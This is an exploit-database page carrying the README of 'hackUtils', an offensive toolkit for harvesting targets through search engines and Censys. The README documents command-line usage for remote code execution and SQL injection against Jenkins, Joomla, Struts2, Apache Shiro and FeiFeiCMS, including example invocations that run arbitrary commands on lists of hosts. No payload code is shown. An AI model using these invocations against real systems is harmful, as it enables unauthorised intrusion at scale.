Sploitus

Exploit for Improper Input Validation in Jenkins

gitee · 2020-03-08

Exploit Code

MARKDOWN94 lines
## https://sploitus.com/exploit?id=5C2990D6-E471-5ADF-817D-FD10F95A99DB
# hackUtils
It is a hack tool kit for pentest and web security research, which is based on BeautifulSoup bs4 module http://www.crummy.com/software/BeautifulSoup/bs4/. 

Usage: 

    hackUtils.py [options]

Options:

    -h, --help                                  Show basic help message and exit
    -b keyword, --baidu=keyword                 Fetch URLs from Baidu based on specific keyword
    -g keyword, --google=keyword                Fetch URLs from Google based on specific keyword
    -i keyword, --censysip=keyword              Fetch IPs from Censys based on specific keyword
    -u keyword, --censysurl=keyword             Fetch URLs from Censys based on specific keyword
    -w keyword, --wooyun=keyword                Fetch URLs from Wooyun Corps based on specific keyword
    -j url|file, --joomla=url|file              Exploit SQLi for Joomla 3.2 - 3.4
    -r url|file, --rce=url|file                 Exploit Remote Code Execution for Joomla 1.5 - 3.4.5
    -f url|file, --ffcms=url|file               Exploit Remote Code Execution for FeiFeiCMS 2.8
    -k ip|file[::cmd], --jenkins=ip|file[::cmd] Exploit Remote Code Execution for XStream (Jenkins CVE-2016-0792)
    -o url|file[::cmd], --shiro=url|file[::cmd] Exploit Remote Code Execution for Apache Shiro 1.2.4
    -s url|file, --s2032=url|file               Exploit Remote Code Execution for Struts2 (S2-032)
    -d site, --domain=site                      Scan subdomains based on specific site
    -e string, --encrypt=string                 Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)


Examples:

    hackUtils.py -b inurl:www.example.com
    hackUtils.py -g inurl:www.example.com
    hackUtils.py -i 1099.java-rmi
    hackUtils.py -u 1099.java-rmi
    hackUtils.py -w .php?id=
    hackUtils.py -j http://www.joomla.com/
    hackUtils.py -j urls.txt
    hackUtils.py -r http://www.joomla.com/
    hackUtils.py -r urls.txt
    hackUtils.py -f http://www.feifeicms.com/
    hackUtils.py -f urls.txt
    hackUtils.py -k 10.10.10.10
    hackUtils.py -k 10.10.10.10::dir
    hackUtils.py -k ips.txt
    hackUtils.py -k ips.txt::"touch /tmp/jenkins"
    hackUtils.py -o http://www.shiro.com/::"touch /tmp/shiro"
    hackUtils.py -o urls.txt::"touch /tmp/shiro"
    hackUtils.py -s http://www.struts2.com/index.action
    hackUtils.py -s urls.txt
    hackUtils.py -d example.com
    hackUtils.py -e text

Change Logs:

****2016.08.08****

    1. Add exploit module for Apache Shiro 1.2.4 Remote Code Execution

****2016.04.26****

    1. Add exploit module for Struts 2 (S2-032) Remote Code Execution

****2016.03.10****

    1. Modify exploit payload for XStream (Jenkins CVE-2016-0792) Remote Code Execution

****2016.03.02****

    1. Add exploit module for XStream (Jenkins CVE-2016-0792) Remote Code Execution

****2016.02.29****

    1. Add Censys URLs fetching module

****2016.02.24****

    1. Add Censys IPs fetching module
    2. Add exploit module for FeiFeiCMS 2.8 Remote Code Execution

****2015.12.23****

    1. Update Baidu URLs fetching module
    2. Update Wooyun URLs fetching module
    3. Update Subdomains Scan module

****2015.12.17****

    1. Modify exploit payload for Joomla 1.5 - 3.4.5 - Object Injection Remote Code Execution

****2015.12.16****

    1. Add exploit module for Joomla 1.5 - 3.4.5 - Object Injection Remote Code Execution

[!] legal disclaimer: Usage of hackUtils for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

声明:仅作学习使用,任何人不可用于非法目的,否则一切后果由其本人承担!